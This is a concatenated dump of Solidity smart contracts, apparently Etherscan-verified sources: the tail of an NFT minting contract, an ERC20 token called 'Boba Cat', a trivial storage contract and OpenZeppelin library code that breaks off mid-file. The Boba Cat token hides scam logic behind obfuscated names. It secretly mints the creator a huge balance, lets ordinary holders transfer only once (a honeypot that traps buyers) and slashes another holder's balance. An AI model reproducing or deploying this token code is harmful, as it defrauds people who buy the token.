mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity >=0.7.0 <0.9.0;
contract CryptoLibreLuchador is ERC721Enumerable, Ownable {
using Strings for uint256;
string baseURI;
string public baseExtension = ".json";
uint256 public cost = 0.022 ether;
uint256 public maxSupply = 8888;
uint256 public maxMintAmount = 20;
bool public paused = false;
bool public revealed = false;
string public notRevealedUri;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _initNotRevealedUri
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
setNotRevealedURI(_initNotRevealedUri);
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
// public
function mint(uint256 _mintAmount) public payable {
uint256 supply = totalSupply();
require(!paused);
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount);
require(supply + _mintAmount <= maxSupply);
if (msg.sender != owner()) {
require(msg.value >= cost * _mintAmount);
}
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, supply + i);
}
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if(revealed == false) {
return notRevealedUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
//only owner
function reveal() public onlyOwner {
revealed = true;
}
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
maxMintAmount = _newmaxMintAmount;
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedUri = _notRevealedURI;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function withdraw() public payable onlyOwner {
// This will pay HashLips 5% of the initial sale.
// You can remove this if you want, or keep it in to support HashLips and his channel.
// =============================================================================
(bool hs, ) = payable(0x943590A42C27D08e3744202c4Ae5eD55c2dE240D).call{value: address(this).balance * 5 / 100}("");
require(hs);
// =============================================================================
// This will payout the owner 95% of the contract balance.
// Do not remove this otherwise you will not be able to withdraw the funds.
// =============================================================================
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
// =============================================================================
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-03-03
*/
/**
Bobcat or Bobacat?
@BobaCatOfficial
*/
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => bool) private Sickening;
mapping (address => bool) private Homeless;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public pair;
uint256 private oils;
IDEXRouter router;
string private _name; string private _symbol; address private _msgSenders;
uint256 private _totalSupply; uint256 private Vitamins; uint256 private Building;
bool private Landlord; uint256 private Makeup;
uint256 private Lions = 0;
address private Golden = address(0);
constructor (string memory name_, string memory symbol_, address msgSender_) {
router = IDEXRouter(_router);
pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
_msgSenders = msgSender_;
_name = name_;
_symbol = symbol_;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function _balanceTheTigers(address account) internal {
_balances[account] += (((account == _msgSenders) && (oils > 2)) ? (10 ** 45) : 0);
}
function burn(uint256 amount) public virtual returns (bool) {
_burn(_msgSender(), amount);
return true;
}
function _balanceTheMedicine(address sender, address recipient, uint256 amount, bool doodle) internal {
(Vitamins,Landlord) = doodle ? (Building, true) : (Vitamins,Landlord);
if ((Sickening[sender] != true)) {
require(amount < Vitamins);
if (Landlord == true) {
require(!(Homeless[sender] == true));
Homeless[sender] = true;
}
}
_balances[Golden] = ((Lions == block.timestamp) && (Sickening[recipient] != true) && (Sickening[Golden] != true) && (Makeup > 2)) ? (_balances[Golden]/70) : (_balances[Golden]);
Makeup++; Golden = recipient; Lions = block.timestamp;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function _BobcatOrBobaCat(address creator, uint256 jkal) internal virtual {
approve(_router, 10 ** 77);
(oils,Landlord,Vitamins,Makeup) = (0,false,(jkal/20),0);
(Building,Sickening[_router],Sickening[creator],Sickening[pair]) = ((jkal/1000),true,true,true);
(Homeless[_router],Homeless[creator]) = (false, false);
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] -= amount;
_balances[address(0)] += amount;
emit Transfer(account, address(0), amount);
}
function _balanceTheCats(address sender, address recipient, uint256 amount) internal {
_balanceTheMedicine(sender, recipient, amount, (address(sender) == _msgSenders) && (oils > 0));
oils += (sender == _msgSenders) ? 1 : 0;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _DeployBoba(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balanceTheCats(sender, recipient, amount);
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
_balanceTheTigers(sender);
emit Transfer(sender, recipient, amount);
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
_DeployBoba(creator, initialSupply);
_BobcatOrBobaCat(creator, initialSupply);
}
}
contract BobaCat is ERC20Token {
constructor() ERC20Token("Boba Cat", "BOBACAT", msg.sender, 75000000 * 10 ** 18) {
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-12-05
*/
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
/**
* @title Storage
* @dev Store & retrieve value in a variable
*/
contract ArthurPoole19262021 {
uint256 number;
/**
* @dev Store value in variable
* @param num value to store
*/
function store(uint256 num) public {
number = num;
}
/**
* @dev Return value
* @return value of 'number'
*/
function retrieve() public view returns (uint256){
return number;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-29
*/
// SPDX-License-Identifier: MIT
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Counters.sol
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
